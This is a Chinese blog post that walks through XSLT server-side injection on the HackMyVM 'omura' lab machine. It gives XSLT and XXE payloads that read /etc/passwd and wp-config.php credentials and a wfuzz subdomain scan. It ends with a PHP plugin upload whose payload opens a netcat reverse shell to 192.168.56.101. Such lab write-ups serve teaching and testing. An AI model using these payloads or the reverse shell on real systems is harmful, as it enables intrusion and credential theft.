XSLT服务器端注入(附靶场)

admin 2024年2月20日09:09:42评论36 views字数 2606阅读8分41秒阅读模式

何为XSLT

XSLT是一种基于XML的语言,用于将XML文档转换成其他格式的文档,如HTML、纯文本或其他类型的XML。它通过定义一系列的转换规则来实现这一过程。XSLT的强大之处在于它能够处理复杂的数据转换和文档结构调整,使其成为在多种应用中处理XML数据的有效工具。

漏洞成因

  • 应用程序接收用户提供的XML数据。
  • 应用程序使用这些数据作为XSLT转换的一部分,而没有充分验证或清理用户输入。
  • 攻击者构造特制的XML数据,其中包含恶意的XSLT代码。
  • 当应用程序处理这些恶意数据时,嵌入的XSLT代码被执行。

利用举例

假设一个应用程序允许用户提供XML文件,并使用用户提供的XSLT模板来转换这个XML文件。如果应用程序没有正确验证或限制XSLT模板的内容,攻击者就可以插入恶意的XSLT代码。

例如,利用XSLT的document()函数读取密码。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

XXE(XML外部实体攻击)读密码

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 &passwd;
</xsl:template>
</xsl:stylesheet>

php函数读密码--php:function来调用file_get_contents,读取/etc/passwd:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
 <xsl:value-of select="php:function('file_get_contents', '/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

下面用hackmyvm的omura靶机来演示一下

信息收集

扫描端口

XSLT服务器端注入(附靶场)

开放80和3260,其中3260为iscsi默认端口,这个下一篇介绍,先埋个伏笔

访问80端口,发现有上传点,上传xml和xsl

XSLT服务器端注入(附靶场)

这个XML文件可以是任意结构。举例

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
   <cd>
       <title>CD Title</title>
       <artist>The artist</artist>
       <company>Da Company</company>
       <price>10000</price>
       <year>1760</year>
   </cd>
</catalog>

xsl如下

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

读到了

XSLT服务器端注入(附靶场)

还是上面的xml文件,把xsl换成读取/var/www/wordpress的文件

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/var/www/wordpress', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

XSLT服务器端注入(附靶场)

然后可以读这些php的文件内容。例如wp-login.php

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/var/www/wordpress/wp-login.php', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

XSLT服务器端注入(附靶场)

就是一个WordPress 的登录页面,没有利用价值index.php

这些都是wp的文件,在这些文件里,wp-config.php文件会存放数据库的信息和wp的地址,所以现在读一下wp-config.php的内容

XSLT服务器端注入(附靶场)

找到账号密码了

现在把这个域名omura.hmv加到host里,扫一下子域名

wfuzz -t 100 -c --hh=795 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.omura.hmv" http://omura.hmv

XSLT服务器端注入(附靶场)

把wordpress也加到host里,用上面的账号密码登录

XSLT服务器端注入(附靶场)

现在想办法getshell,在之前的文章里介绍过一个插件的nday,今天来换一个手法,文件上传

打靶手记之hackmyvm--tiny

XSLT服务器端注入(附靶场)

这里是存在上传自定义插件的,前端检验是否为zip,我们只需要抓包把后缀改回php就行

XSLT服务器端注入(附靶场)

内容为

<?php system('nc -e /bin/bash 192.168.56.101 7777'); ?>

curl一下就执行了

XSLT服务器端注入(附靶场)

原文始发于微信公众号(麋鹿安全):XSLT服务器端注入(附靶场)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月20日09:09:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSLT服务器端注入(附靶场)http://cn-sec.com/archives/2505765.html

发表评论

匿名网友 填写信息